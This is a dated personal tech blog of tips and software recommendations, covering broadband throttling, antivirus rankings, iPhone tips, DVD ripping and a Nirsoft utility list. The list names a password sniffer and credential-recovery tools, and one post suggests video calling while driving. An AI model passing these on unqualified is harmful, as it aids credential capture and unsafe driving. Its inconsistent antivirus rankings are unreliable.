PC Binary Blog

Your Questions

2020-05-19T00:01:00.001+01:00

If you have a problem please feel free to let us know by leaving a comment on this post.
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Virgin Media Broadband Sucks

2012-01-29T14:16:00.004Z

I have many words to describe Virgin Broadband and most of them I can't repeat here.
After helping someone diagnose a slow cable broadband connection I have finally discovered the fault.. Its the ISP!

Calling their helpline never helped in the least. They told us to reinstall the PC and reboot the modem a million times. Then they tell you turn off all firewalls on the modem and PC.. which of course does nothing when the problem is simply the fact that Virgin Broadband is throttled to shit.

Virgin Media does not clearly make its clients aware that when taking their crap service that they will be restricted, monitored, throttled, traffic managed and shaped.

If you merrily buy a nice 10Mb/s broadband service you might be mistaken in thinking you are actually going to be able to download at this speed because its over a fibre connection.. wrong!

Virgin Traffic Management your connection at the following times:

Weekends: 10am to Midnight - Restricted to 2.5Mb/s or even down to 0.5Mb/s if high traffic detected.
Weekdays: 4pm to Midnight - Restricted to 2.5Mb/s or even down to 0.5Mb/s if high traffic detected.

These are the times 90% of people want to use their connection - right?

Say you want to play a nice game of Battlefield 3 on Saturday which requires a 15Gb update..
You will be lucky if you are up and running by Sunday night when you are forced to connect at 2.5Mb/s or less. Its ridiculous - unless you are a vampire and live online from midnight to 10am.

To top things off Virgin Broadband has BIG internal core network problem.
For hours on end Virgin has internal core packet loss and routing issues.
Naturally they deny this but I can assure you I have tested this from multiple connections and its conclusive.
They are either overloading their internal network or they have employed cheap labour to set their network up and its not configured correctly. Probably both.
This has been a regular problem for months on end.. day after day.. its unreal.

Why advertise 10Mb/s when you can only get 2.5? or 100Mb/s when you get 5?
You might as well advertise 100000Mb/s broadband and only allow 10... Its nuts.
Ofcom of course is too slow at sorting this out too.. maybe they have a Virgin fibre connection too.

Faith in Richard Branson has fallen to zero - I guess he is too busy jet setting and attending high level meetings that just force management to maximise profits but give the customer a crap service. As long as Richard has money in his pocket who gives a shit - right..

If you want GOOD broadband get BE Broadband - they are fast, non-restrictive and just brilliant.
Avoid other shoddy services from companies like Sky Broadband, Talk Talk and BT Broadband who also restrict, mislead clients and monitor. Don't be mislead by bollocks reports.

References: PCPro Ofcom TM Report, Virgin TM Policy, Virgin TM, Virgin FAQ, BT Limitations, Sky's Policy, TalkTalk's Bollocks

Watch out for some packages like Sky's everyday lite broadband that is limited to 2Gb a month.. what a joke!

If you feel like you have been stiffed do the world a favour and report it to OFCOM.

Who does Google think I am!

2012-01-29T11:29:00.001Z

Ever wondered how Google knows which Ads to display during your web browsing experience?
Google ranks, rates, captures and generally guesses your age and interests while you quietly surf around.

Does Google get it right? Sometimes!

Check out your Google demographic profile by Clicking Here!

Once you have done that.. providing you have a Google account try out Google Web History for a bit :)

Wordpress Offline Development

2012-01-08T12:59:00.004Z

Wondering how to develop a wordpress website offline?
Redesign a wordpress site on your local pc?
Copy a wordpress website and develop a new version in a sandboxed domain?

If you are a pro then this is what you will need - XAMPP or WAMP and then install Wordpress (5 Minute Install!).

If you are a pro, semi-pro or amateur then install DesktopServer Premium/Limited or InstantWP - This includes everything Apache, MySQL and Wordpress - All ready to roll!
** Update: After further use of Desktop Server Premium - It is really amazing with easy exporting in 2 minutes via a zip file and a php script. Pay the money and save a ton of time!!

Other alternatives are Bitnami Wordpress and MAMP Pro.

DesktopServer Premium (Serverpress.com) is easy as pie but it costs $49 to get all the features - try the limited free one first.
The premium version also allows importing and exporting of a live site - making it worth its oats.
DesktopServer actually uses XAMPP as its core with a little custom written bit of code to do the hard work.
I dislike the InstantWP methods but it is still worth a look.

DesktopServer TIP: If you can't use Duplicator to export your wordpress website then do this:
"If you are familiar with FTP and phpMyAdmin (and your hosting provider has it), you can choose phpMyAdmin’s Export feature to dump the database to a file. Rename the file ‘database.sql’ and place it inside a folder parallel to wp-config.php, and along with all your website’s files. ZIP the folder and feed it to DesktopServer’s import feature. It should import your website."

If you are a Pro using a pure XAMPP install you will need to read this:

http://codex.wordpress.org/Moving_WordPress
http://wordpress-websitebuilder.com/how-to-export-an-existing-website-and-import-it-into-wordpress/

Looking for a Wordpress Plugin to backup / export / copy / clone your site then try one of these guys:
BackupBuddy - Crazy expensive but it works
Duplicator - Free but only has a few features and is still in development - I could only get it to work on some sites.

Top tip: When you have finished your wordpress website build or copy always check the folder security.
Use the Ultimate Security Checker to perform this easily!

Resize Partition Freeware

2011-12-22T16:37:00.000Z

Struggling to find good free partition resizing software that works?
Repartitioning your hard drive the easy way without reinstalling!

Resize a windows partition easily with this neat bit of software:

Free EaseUS® Partition Master 9.1 Home Edition

http://www.partition-tool.com/personal.htm

Although this software is slightly limited due to it being the free version - it does however work for partition resizing very well. Naturally they are hoping you will buy the software and it may well be worth it if you need the advanced features.

Remember - Always backup when working with your hard drive partition table!

How to archive your email easily!

2011-11-20T20:30:00.000Z

Looking for an easy way to archive your email into searchable offline folder stored on a NAS or portable drive or DVD?

After testing a range of possible email archiving software solutions we have a winner!

Mailstore Home (Its Free for Home Users!)
http://www.mailstore.com/en/mailstore-home.aspx

With more users than ever before relying on free webmail providers, few consumers realize that their emails often are not being protected adequately. And, if a webmail provider has a sudden outage, few realize that they may lose access to their emails indefinitely. That is one reason why MailStore has introduced MailStore Home for personal use – helping home users to backup, archive and migrate their emails, free of charge. For more independence and a better safety.

Never Lose Emails Again
Emails can get lost due to corrupt PST files, incomplete backups or even through security gaps at your webmail provider. With MailStore Home you can create a secure central archive for all emails, allowing you to access important information quickly and efficiently.

NEW: Portable Archive
For more independence MailStore Home 5 now is portable. It can be used on any USB drive, creating an email archive for quick access on-the-go without installation.

Search in Seconds
Browse huge amounts of data within fractions of a second. MailStore Home searches not only your emails but also all types of file attachments. Complex search queries can be saved and reused.

Smart Storage Technology
Leveraging advanced enterprise technology, MailStore Home is able to manage large amounts of data effortlessly. Now both your past and future emails are safely stored

One-Click Restore
You can reply to or forward archived emails by opening them at the click of a mouse within your email program. MailStore Home is easy to use, integrating seamlessly into your standard environment and workflow.

Easy Migration of Emails
Changing email service providers can be frustrating (i.e. from Yahoo! Mail to Gmail) because existing emails cannot be transferred. MailStore Home email archiving allows you to solve this problem easily, helping you to migrate emails from one service to another. All archived emails can be restored from the archive at any time using a variety of export features and standard formats.

If you are looking for a good Free Email Client that will work well with Mailstore why not try:

Thunderbird by Mozilla.
http://www.mozilla.org/en-GB/thunderbird/

Easy to use mail client that is fast and efficient! (A lot of people prefer this to Outlook)

Best AntiVirus Software 2012

2011-11-11T14:57:00.005Z

Looking for the best of the best AntiVirus Software for your Windows 7 PC in 2012?

AntiVirus Charts / AntiMalware Chart / AntiSpyware Chart

The problem is so many reviews are fake or promotional - its difficult to tell what is good.

Fear not - here is the truth. All of these AntiVirus solutions are good but if its not in this chart you should probably change to one that is!

The winners are in the following categories.

Best Virus Detection:
1: Avira (99.5%)
2: Panda (99.3%)
3: F-Secure (98.5%)
4: Bit Defender (99.3%)
5: Kaspersky (98.3%)
6: ESET (97.3%)
7: Avast (97.2%)
8: McAfee (96.8%)
9: Trend Micro (96.6%)
10: Microsoft Security Essentials (92.1%)

Least 'False Positives':
1: McAfee
2: Kaspersky
3: Microsoft Security Essentials
4: Panda
5: ESET
6: F-Secure
7: Trend Micro
8: Bit Defender
9: Avast
10: Avira

Least Likely to Slow your PC Down:
1: Avast
2: Microsoft Security Essentials
3: F-Secure
4: Avira
5: Panda
6: McAfee
7: ESET
8: Kaspersky
9: Bit Defender
10: Trend Micro

Stand Alone Full Disk Scanning Speed:
1: Avast
2: Trend Micro
3: McAfee
4: Avira
5: Bit Defender
6: F-Secure
7: Kaspersky
8: ESET
9: Panda
10: Microsoft Security Essentials

Best Free AntiVirus Solution:
1: Avast (Has good sandbox feature but could be too complicated for some - I actually prefer Microsoft Security Essentials combined with Malwarebytes for comprehensive hassle free days)
2: Avira (It can pester you with trying to promote itself too much)
3: Microsoft Security Essentials (Best if you need something idiot proof)
4: AVG (Although its not on the top ten charts - it is still a good free solution)

Best Paid for AntiVirus Solution:
1: Avira
2: F-Secure
3: Avast
4: Panda
5: ESET

Best Stand Alone AntiMalware AntiSpyware Compliment Solution:
1: Malwarebytes (Paid version has real time scanning which is worth every bit)
2: Ad-Aware
3: Spybot Seach and Destroy

Best Online Virus Scan (Simple one time scanning from web page):
1: Virus Total (Single file scan against all antivirus packages)
2: F-Secure (Uses Java as the engine)
3: Bit Defender (Has widgets, extensions and add ons)
4: Trend Micro House Call (32bit and 64bit versions)
5: ESET
6: Panda

How did we determine the winners?
Well you have to carefully chart all aspects of the solution, calculate many stats and test the actual software to see how it behaves in the real world. All that then needs to be weighed up on things like:
Detection Rate vs False Positives (No point in having 99.9% detection rate if most of them are false positives)
Processor/System Speed vs Service Quality and a lot more.

Want to know more? Well here are the some of the reference tables:
You will notice we have excluded G Data and TrustPort due to false positive issues.
http://www.av-comparatives.org/
http://www.av-comparatives.org/images/stories/test/ondret/avc_od_aug2011.pdf
http://www.av-comparatives.org/images/stories/test/performance/performance_aug_2011.pdf
http://www.virusbtn.com/vb100/latest_comparative/index
http://www.microsoft.com/uk/windows/antivirus-partners/windows-7.aspx
http://www.eset.com/us/home/whyeset/compare/

iOS 5 Battery Drain Solution - iPhone 4S, 4, 3GS Battery Life Cure Fix

2011-10-30T01:40:00.000+01:00

Does your iPhone battery seem a little short of breath?

While Apple is working on fixing the multitude of iOS 5 bugs try out these top tips!

UPDATE 11/11/2011: iOS 5.01 is now available with battery life enhancements. On your phone go to Settings / General / Software Updates and let the cloud install the update. Takes less than 10 minutes with reboot (+- 55mb)

The Ultimate iPhone iOS5 Battery Drain Solution Compilation:

Battery Saving Tips:

1: In Settings/Location Services/System Services - Turn "Setting Time Zone" to OFF. (Seriously recommended by a multitude of reputable sources!)

2: In Settings/Mail,Contacts,Calendars/Fetch New Data - Leave "Push" ON but set "Fetch" to "Every 30 minutes" or "Hourly" - then go to "Advanced" - Set "iCloud" to "Fetch" and any mail accounts that are non-urgent to "Fetch" instead of "Push".

3: In Settings/iCloud - (Optional Changes) - Turn "Mail" to OFF, "Calendars" to OFF, "Photo Stream" to OFF and make sure "Find My iPhone" is ON.

4: In Settings/General/Bluetooth - If you don't use "Bluetooth" then turn it OFF. (Minimal savings especially on the iPhone 4S with new bluetooth technology).

5: In Settings/Notifications - Look carefully through your list of "Apps" and open each one you don't need/want notifications for - Inside each "App" you will see a "Notifications Centre" option which should then be turned OFF.

6: Check the applications running on your phone by double tapping the "Home" button on your phone and holding your finger over the icons at the bottom till they shake to close any unnecessary applications that are open. Although it makes little difference to most people - its worth knowing how to do it.

Good Practices:

1: iCloud is designed to connect via WiFi every night at about 2:30am and sync / backup all your iPhone data. This is also suppose to work with the phone plugged into the charger. So charge your phone overnight - every night!

2: Once a month let you phone run the battery down to 1% then let it charge back up to 100% without any interruption. This will keep you phone battery in good shape.

Myths:

1: Some people falsely think "Location Services" like "Find My Friends" or "Google Latitude" use a lot of power - They are very carefully engineered to use minimal power by turning on only when you change cellular base stations or if someone probes your location - It does NOT use the GPS permanently to check for a position change - it uses data that is already available from the cell network. You will find these application use less energy that your push email ever will!

2: A few believe that wiping your phone back to factory settings and restoring from the cloud will resolve battery problems - Well this is only the case in a few circumstances. People with permanently hot phones who have closed all running apps (after a full reboot too) may look into this but everyone else should not waste their time with this myth.

3: Many report that by turning your WiFi off will save power but generally this is not the case and often having good WiFi connectivity can in fact save power for a lot of people.

Advanced Battery Saving:

1: Try turning off sync over WiFi (If you use it) - It can only be deactivated from inside iTunes itself - not the phone.

Note: All tips are compiled from a multitude of reliable sources but are of course subject to opinion and may of course change in the future. If you have any useful information to add then by all means post a comment..

2: In General / Siri settings turn 'Raise to Speak' OFF - this should marginally help battery power as it will stop the iphone from leaving the IR sensor permanently on while the phone is active. This is done to detect the distance to your face. Actual battery savings is unconfirmed.

The best Scanner Software for Windows

2011-08-19T19:06:00.000+01:00

Looking for the best of the best Scanner Software for Windows?

After much research and testing I can assure you that there is only one solution : VueScan!

I don't like to promote paid for software but this scanner software is really excellent.

It is super fast with amazing color, cropping, filters, pre-sets, output functions and OCR.

If you are looking to archive your valuable photo collection - don't hesitate to grab a copy.

I can tell you I was convinced I could find a free solution that was better and I went down kicking and screaming at having to pay the price but if you trust my reviews you will know this is the best home / semi-pro (maybe even pro) solution for under 100 dollars. You can always try the free 30 day trial.

VueScan Scanner Software
http://www.hamrick.com/

Tip: Spend the money on getting the professional edition as the ICC color profiles are worth every cent!

The Best DNS Proxy Cache for Windows

2011-08-19T18:48:00.000+01:00

Need a good DNS Proxy or DNS Cache solutions for Windows?

Well I have to say the best bits of software out there for your Windows based PC is:

Acrylic DNS Proxy

http://mayakron.altervista.org/support/browse.php?path=Acrylic

Now although this utility runs either as command line or system service you can get a system
tray monitor from http://dev.arqendra.net/ for free!

This bundle is great for monitoring network DNS activity, blocking bad websites and speeding up your DNS cache results all for free!

Tip: You can run this on a server and take full control of your networks DNS problems.

Nirsoft Freeware Utilities

2011-08-19T18:03:00.002+01:00

Any developer who provides a wealth of good quality software for free deserves a medal.
Nirsoft has a phenomenal collection - check them out!
http://www.nirsoft.net/

Password Recovery Utilities
- Mail PassView - Recover the passwords of popular email clients: Outlook Express, MS Outlook, Eudora, Mozilla Thunderbird , and more...
- MessenPass - Recover the passwords of instant messenger programs: Yahoo Messenger, MSN Messenger, Trillian, and more...
- Dialupass: Dialup Password Recovery - Recovers the passwords of dialup entries (VPN and Internet connections). Works also under Windows 2000/XP.
- Network Password Recovery - Freeware utility that recovers the network passwords stored by Windows XP (Credentials file).
- Asterisk Logger - Reveal the passwords hidden behind asterisk ('****') characters in standard password text-boxes.
- SniffPass - Password Sniffer - Listen to your network, and capture POP3, IMAP4, SMTP, FTP, and HTTP (basic authentication) passwords
- PstPassword - Recover the password of Outlook PST file.
- Protected Storage PassView - Displays all passwords and AutoComplete strings stored in your Protected Storage.
Network Monitoring Tools
- NetResView - View all computers/shares on your network.
- WirelessNetView - View the details of all wireless network in your area (SSID, Signal Quality, MAC Address, and more...)
- BluetoothView - Monitor the Bluetooth activity around you.
- SmartSniff: TCP/IP Sniffer - Capture TCP/IP packets on your network adapter and view the captured data as sequence of conversations between clients and servers.
- CurrPorts: TCP/IP Connections Viewer - Freeware tool that displays the list of all currently opened TCP and UDP ports on your local computer.
- AdapterWatch - displays useful information about your network adapters: IP addresses, Hardware address, WINS servers, DNS servers, MTU value, Number of bytes received or sent, The current transfer speed, and more...
- DownTester - Test the download speed of your Internet connection.
Internet Related Utilities
- IPNetInfo - Find all available information about an IP address: The owner of the IP address, the country/state name, IP addresses range, contact information (address, phone, fax, and email), and more.
- MyLastSearch - View your latest searches with Google, Yahoo, and MSN.
- VideoCacheView - Copy video files (.flv and others) from the Web browser cache and temporary folder.
- WebVideoCap - Capture Flash video (.flv) and RTSP/MMS streams from Video Web sites.
- SiteShoter - Take a screenshot of a Web site.
- DNSDataView - View the DNS records of specified domains.
- IECookiesView: Cookies Viewer/Manager for IE - View/Delete/Modify the cookies that Internet Explorer stores on your computer. Read More >>
- IEHistoryView - View/Delete the URLs that you visited in the last few days.
- HTMLAsText (HTML To Text Converter) - Freeware utility that converts HTML files to text files.
- WhoisThisDomain - Get information about a registered domain.
- DNSDataView - DNS lookup tool.
Command-Line Utilities
- NirCmd: Freeware Command-Line Tool - Do some useful tasks from command-line: turn off your monitor, turn off the computer, open/close the door of your cd-rom drive, dial to VPN/Internet connection, change your display settings, and much more !!
Desktop Utilities
- SearchMyFiles - Alternative to 'Search For Files And Folders' module of Windows and also duplicate files search.
- MyUninstaller - Alternative to the standard Add/Remove applet of Windows operating system.
- Volumouse - Control the sound volume with your wheel mouse !!
- FileTypesMan - Alternative to 'File Types' manager of Windows.
Freeware System Tools
- ProduKey - Recover Office/Windows CD-Key
- ShellExView - Displays the details of shell extensions installed on your computer, and allows you to easily disable and enable each shell extension.
- WhatInStartup - Add, delete, modify or disable programs that run at Windows startup.
- USBDeview - View all installed/connected USB devices on your system.
- DevManView - Alternative to device manager of Windows.
- DriverView - List all device drivers currently loaded on your Windows.
- RegScanner (Registry Scanner) - Scan and find values in the Registry.
- OpenedFilesView - View opened/locked files in your system.
- SysExporter - Grab the data stored in standard list-views, list boxes, and combo boxes from almost any application running on your system, and export it to text, HTML or XML file.
- BlueScreenView - View crash information stored in the MiniDump files created on blue screen of Windows.
MS-Outlook Tools
- NK2Edit - Edit, delete, add, merge, and repair records in the AutoComplete files (.NK2) of Outlook.
- OutlookAttachView - View and extract attachments in your Outlook mailbox.
- OutlookStatView - Get statistics about your Outlook mailbox.

Network TCP/IP DNS Profile Manager for Windows

2011-07-18T17:06:00.000+01:00

Need to switch between network settings without doing it manually?
How about a Network TCP/IP and DNS profile manager that can do the hard work for you!

Try TCP/IP Manager - its a good bit of software and its free!!

Here are some of the features of TCP/IP Manager:

- Open-source (free to use and redistribute)
- Save your network settings in (up to) 20 profiles
- Easy switching between profiles (with tray icon)
- Run TCP/IP Manager at Windows startup
- WebUpdate (complete with news) and statistic modules

TCP/IP Mananger is designed to help computer users keep track of their network configuration in different locations. At home or at work, changing network settings is now just one click away!

TCP/IP Mananger Download Link:

http://tcpipmanager.sourceforge.net/
http://sourceforge.net/projects/tcpipmanager/

Reviews:

"Consumed less than 500kB of your hard disk space, TCP/IP Manager is definitely a useful utility that can help you keep tracking all the different IP settings being pre-defined for different environments and allow fast switching from one network configuration to another in seconds without the need of re-typing unnecessarily." (My Digital Life)

"TCP/IP Manager is an open source application designed to help computer users keep track of their network configuration in different locations, and switch from one network to another easily." (Instant Fundas)

"TCP/IP Manager is an easy-to-use application designed to help you keep track of your different network configurations, At home or at work, changing network settings is now just one click away.
This software is one is the best and easy use as per our review among different other network connections profile switcher." (TechnixUpdate)

How to Wipe a SSD Drive

2011-06-24T13:26:00.004+01:00

How to securely wipe a solid state drive? HDD Erase / Wiping SSD Drives?
How can I securely erase the data from my SSD drive? Secure SSD / Encrypted SSD

Right there seems to be way too much confusion on this topic.
So I am going to keep it simple - if you want to research this topic in detail - please do.

The problem is when windows thinks its writing to SSD drive block X - the drive may in fact be writing to block Y. This is due to the wear levelling mechanism of the drive. So erasing may only affect the file header (maybe) and leave the file hiding - A big oops. Not even those right click 'secure erase' bits of software can do the trick.

If you use a normal HDD erase/wipe utility and it writes a zillion zeros to your drive you may think its securely erased. Well its not! Why? because these utils write a single zero at a time and this may in fact be writing to almost the exact same sector repeatedly - not the entire drive as you see on the screen.

To erase one file securely on your SSD:
Delete the file (and out of recycle bin) then fill the entire hard drive with a massive random file until there is no space remaining.
Ccleaner has a built in tool for this - go to tools and then 'Drive Wiper' with 1, 2 or 3 passes (more than this is unlikely to make any difference) - this will offer a 99% secure deletion of your file but it may take an hour or so to complete.

To securely erase entire SSD hard drive:
The only universal method is this. (Unless you have a utility from the exact drive manufacturer)
Take the drive out of the system and install it as a second hard drive in another system. (or via USB external drive mount)
Format the drive firstly (quick format) and then use Ccleaner - go to tools and then 'Drive Wiper' with 1, 2 or 3 passes (more than this is unlikely to make any difference). Then if you are really paranoid you can physically destroy the drive but remember those little chips inside will need to be totally smashed as they could be removed from the main-board and still recovered.

Top tip: If you must use a SSD drives for sensitive files then get a drive with 'Hardware Full Drive Encryption' like the Seagate Pulsar 2 or if you use external USB memory flash drives/sticks then get something like the Integral FIPS 197 Encrypted USB

Top tip: The best software solution for 'Full Drive Encryption' solution is TrueCrypt but do NOT use it on your SSD for many reasons. Premature wear and Insecurity.

Servers Alive - Error getting the process information from [IP] err: 53

2011-06-17T10:43:00.000+01:00

Servers Alive NT Process Check Problem in Windows 7

Adding a NT service check works but
Adding a NT process check has an error!
Error Code: 53
Error getting the process information from 127.0.0.1 ERR: 53
(The network path was not found)

The Fix:
Make sure you run servers alive as 'administrator' set this permanently by right clicking the program icon and going to properties. Find compatibility tab and tick the 'run this program as an administrator' check box.
Also for good measure 'run this program in compatibility mode for Windows XP Service Pack 3.
Now for the important bit. Instead of typing in the local machines IP (127.0.0.1) or (localhost) or (192.168.x.x) when creating a new 'Server name or IP(x) address' on the general tab in Servers Alive rather use the computers actual name (eg: Acer123-PC look it up in the system control panel if you are not sure).
Now pop over to the 'Check' tab and try adding the process again.. it should work now.

This number does not accept blocked calls - Stop anonymous/hidden/withheld/blocked calls

2011-05-22T15:34:00.001+01:00

* The number you have dialled does not accept anonymous calls!
* This number does not accept blocked calls!
* The party you are calling does not accept callers with a blocked caller ID!
* How to block anonymous/hidden/blocked callers on an iPhone!

Do you hate it when companies call you with blocked caller ID's - you just never know if its going to be a sales pitch or something worse. Often calls are from fake companies trying to sell you products or services that are not even their own.

Most companies give you the option to block anonymous/hidden/withheld/blocked numbers but some don't.
I also discovered that Apple iPhones do not give you this option and all the apps that are out there are basically fraudulent as they divert your calls via a premium rate number or even worse fill you phone book with thousands of entries.

So here is Plan B until Apple gets their act together. (Naturally this will work with any phone)

Step 1: Download this MP3 - http://x.co/XMMJ (Telling them to unblock their caller ID and try again)
Step 2: Edit the MP3 recording if you like or use it as it is.
Step 3: Call your voice mail service and select the option to re-record your voice mail greeting.
Step 4: Play this MP3 over your PC speakers with a medium to soft volume and your phone about 15 cm away.
Tip: If the voice mail recording sounds like it was recorded in a barrel try putting a small blanket/jersey over the speaker and phone while doing the recording to muffle the ambient room noise.
Step 5: Playback the recording and Save.

Now when someone calls with a blocked caller ID all you need to do is let it ring onto voice mail or just hang up and they will get this message:

"Your call will not be completed because the party you are trying to reach is not accepting calls from callers who do not allow delivery of their caller ID information - please hang up and try your call again with your caller ID unblocked - Thank you :)"

If anyone has a better recording then please leave a link in the comment below.

Computer Network Diagram Designer Free

2011-05-18T23:26:00.001+01:00

Looking to make a visual network diagram? Need a free tool to draw your technical diagrams?

Here is a good bit of software that allows you to create those computer network diagrams with ease!

yEd Graph Editor

yEd is a powerful diagram editor that can be used to quickly and effectively generate high-quality drawings of diagrams. Create your diagrams manually or import your external data for analysis and auto-magically arrange even large data sets by just pressing a button. yEd is freely available and runs on all major platforms: Windows, Unix/Linux, and Mac OS.

They even have a cool online edition called Graphity or jump right into the online editor here.
Graphity Diagram Editor : Graphity is a diagram editor that can be used to quickly and effectively generate drawings and to apply automatic layouts to a range of different diagrams and networks like:

- Flowcharts
- Social networks
- Computer networks
- UML diagrams
- Business process modeling diagrams
Graphity is an application for the Adobe® Flash® Player. It can be used with any browser which has a Flash Player plugin. No installation is necessary.

DVD Rip with Chapters in Wrong Order Fix

2011-05-10T12:28:00.001+01:00

DVD Shrink wrong chapter order? Handbrake DVD Rip wrong chapter order?

DVD to AVI chapters in the wrong sequence? Chapters in wrong order?

Here is the solution for any converter:

First download VLC Player

1: Open VLC Player and Select Media menu then Open Disc

2: Play your DVD and wait for the DVD's main menu - Now play your movie or whatever it is.

3: When its playing click the 'Playback' menu (top) then look at the 'Title' to see which one is Ticked.

4: For example lets say 'Title 62' was ticked - open your Converter program and select only 'Title 62' to convert!

Examples:

For Handbrake - Once you selected your source DVD - Set 'Title:' in the top section to this value from VLC.

For Freemake Video Converter - On opening the DVD source - Deselect everything except the one required title found in VLC.

Apple Keyboard Driver for Windows 7 UK Layout

2011-05-09T22:46:00.002+01:00

Apple Keyboard Drivers for Windows PC, Windows 7 Apple Keyboard Driver, Apple Keyboard Mapping in Windows 7, UK Apple Keyboard Drivers for Windows 7 PC, Apple Keyboard Driver for Windows, Apple Keyboard Driver for Windows 7, Apple Keyboard Driver for Windows XP, Apple Keyboard Driver for Win7, Apple Keyboard Driver for Windows 7 x64, Apple Keyboard Drivers for Windows 7, Apple Keyboard UK Drivers for Windows 7 - Solved! These are common searches from people looking to get their nice Apple UK Keyboard working on their PC - Well look no further as we have the solution!

The Apple Aluminium keyboard is great and you no longer need to worry about Mac Bootcamp to get this working! We have mapped all the £ ' # ! F Keys so that they will work in the UK.

Click Here to Download Apple Keyboard Drivers for Windows UK Edition
**If you download this file can you comment about it below - Is this working for everyone without a problem!?**

Download and Extract the File
Read the Readme
Run Setup
Open Control Panel
Open Region and Language, Select Keyboards and Languages, Click Change Keyboard..
Then Select the New UK Apple Keyboard Driver and Enjoy!

Note: This version supports keyboards with and without the side numeric keypad.

Convert DVD / Anything to AVI / DivX for your Tv, Xbox, PS3 or iPhone

2011-05-08T19:43:00.012+01:00

How to convert DVD to AVI or DivX? How to convert DVD to iPhone? How to convert AVI to iPhone? How to convert a Video for your Xbox? How to convert any video file to play on all your devices?

Conversion from any file format to something that will play on ALL your bits like the TV DLNA, Xbox, PS3 and iPhone 4 without problems.

It may seem like a simple task but you might be reading this because there is always a trade off.
The problem stems from multiple criteria. Codec formats, file size, video/audio bit rates, audio sync and resolution.

If you start with a video bit rate of 3000 kbps at full 1080 HD resolution it won't play on your iPhone over WiFi using Airplayer - so we need some middle ground that looks good(ish) on everything including your TV, Xbox, PS3, iPad etc..

Well after using many many programs/formats I can say there are only a few methods that seems to work/play on almost everything without errors.

#1: The Feemake Video Converter Solution:

1: Add a video with the +Video button at the top (or +DVD for that matter)

2: Find 'to AVI' at the bottom and click once.

3: In the 'Preset' list choose 'TV Quality' (XviD, MP3, 640x480)

4: Hit 'Convert' and let the magic happen.

#2: The DivX solution:

1: DivX Plus Converter (not always free) - http://www.divx.com/en/software/divx-plus/converter

2: AC3 Filter (free) - http://ac3filter.net/wiki/Download_AC3Filter

Install the DivX Plus and AC3 Filter.

1: Open DivX Converter and drop a file or DVD in to convert (or just click Add files)

2: Select 'Home Theater' in 'select output profile' at the top.

3: On the video line it says 'Output' - click that and do the following:

a) Tick 'Custom resolution' and enter '352' on the right hand block only (do not adjust left block) and make sure that 'maintain aspect ration' is checked. (The resolution will now look something like 640 x 352 - the 640 may be up or down in value due to the ratio matching)
Why so low - its not really all that low and its almost a standard when it comes to DivX via download - You could use HD720p mode but it wont be playing on your iPhone and some other devices without jitter.
The next highest I would recommend is 420 or 480. (Play around to find your ideal setting)

b) Tick 'Video Bitrate (kbps)' and up it to 1042kbps (you also try 1200 , 1500 or even up to 2000)

c) Tick 'Audio Bitrate (kbps)' and pick 160kbps - you could go as low as 128 and as high as 192. (This will leave the 'Pass though original audio track' as not ticked - do not tick it again)

4: Thats it - choose the output folder at the bottom and hit 'Start'.

#3: The HandBreak Solution: (Caution - Audio Sync Problem with iPhone via Airplayer)

1: Choose Xbox 360 first (bottom right)

2: Now pick 'AVI File' in the Format: section (Never tick the iPod 5G support - it wrecks compatibility!)

3: In Picture Settings pick Anamorphic: None and enter 352 on the right hand height block.

4: Video tab pick 'MPEG-4(XviD)' and put in Avg Bitrate of 1200 (No less than 900 and no more than 2000)

5: In the Audio tab choose MP3

6: Hit Start and that should do the trick.

Fiddle around with these settings to get the result you want as I am only suggesting a middle ground and giving you a starting point.

Additional Info:

* Need to get that DVD onto your HDD? - try :
DVD Decrypter (No longer in production but it works like a charm)
Top Tip - Got a DVD that just won't rip? Go to Tools, Settings, I/O tab, Options (bottom right), Change both Software Read/Write Error Retries to 0 and Tick the 'Ignore Read Errors' box.

* Need to reduce the size of your DVD from DL 8.5Gb down to a standard 4.7Gb? - try :
DVD Shrink (It may be old but it does the trick)

* A good DVD software collection for all kinds of solutions: Doom9

* DVDFab Free - Protection Remover

* DVD converting in the wrong order? try this : http://pcbin.blogspot.com/2011/05/dvd-rip-with-chapters-in-wrong-order.html

Top 10 iPhone Apps

2011-03-31T01:12:00.000+01:00

So what is the Top 10 Apps for your iPhone?

10 Best iPhone Apps if you live in the UK.

Which is the best X app for iPhone?

Note: You will need an iPhone 4 or better to use some of these Apps.

1: MobileMe (Find My iPhone App)

Who doesn't want to use MobileMe and Find My iPhone App to recover your lost iPhone for free?

Remote Wipe, Remote Lock, Remote Message, Remote Beep - what more could you want?

http://www.apple.com/mobileme/features/find-my-iphone.html

http://www.apple.com/iphone/features/find-my-iphone.html

http://itunes.apple.com/us/app/find-my-iphone/id376101648?mt=8

Please make sure you test that its working when you have finished installing!

Remember you will need your Apple ID and Password if you phone is stolen to track

it using another persons phone with Find My iPhone installed or via the Mobile Me website.

2: Skype

Have you tried the video calling feature in the car - its way cool! (Yes, that's hands free)

Try mounting the phone on your dashboard or windscreen and playing the audio via

the cars sound system.

3: Google Mobile App

This is the 'all in one' install that give you access to everything Google like Gmail, Calendar, Docs, Talk, Buzz, Tasks, Reader, News, Photos, Translate, Maps, YouTube and Earth.

http://www.google.co.uk/mobile/

* Also don't forget you can also exchange Sync all Contacts, Calendar, Email for most mobiles via

Google Sync. (this is not the same as adding a Gmail account in your phones mail push/fetch/imap/pop settings)

This gives you the option of viewing/syncing your phones mail, calendar and contacts to and from your Gmail account with changes pushed both ways. Read the following link carefully on how to do it:

http://www.google.com/mobile/sync/

4: Google Latitude

Some may argue this position but once you get hooked on tracking (err meeting) your friends its awesome.

5: AirPlayer

Do you have a NAS storage server that supports UPnP / DLNA? Then this is for you. Stream movies, music and photos direct to your iPhone without down converting them! This is one of the few apps that claims to do this but actually works! However its not free so expect to pay about 2.99 but trust me its worth it.

This thing plays just about everything video like xvid, avi, rmvb, mkv, mov, mp4, m4v, etc..

For music fans it does mp3, wma, ogg, aac, etc..

I can vouch this this works well with my Qnap NAS running TwonkyMediaServer.

Now I can watch movies anywhere on my iPhone easily. What a pleasure!

It also works with the following kit:

For Windows 7 try Windows Media Centre, TVersity, TvMOBiLi, UIStream, Nero media home , Wild Media Server, Asset UPnP and XBMC.

For Linux try MediaTomb, Fuppes, uShare and Coherence.

For NAS servers try FreeNAS, Buffalo, Western Digital My Book Live, Linksys NAS 2000, Netgear ReadyNAS Duo, Linksys Media Hub, HP MediaSmart Server, Synology DS101 DS106J DS-207+, Iomega, Qnap, LaCie and many more!

If for some reason it won't play a particular movie use the Handbreak software I mention in another post to convert it to a better format.

6: Sky News, BBC News, CNN, Discovery News and Engadget

Yes I know that's not exactly one item but they are all fairly good news sources and its up to you to pick one.

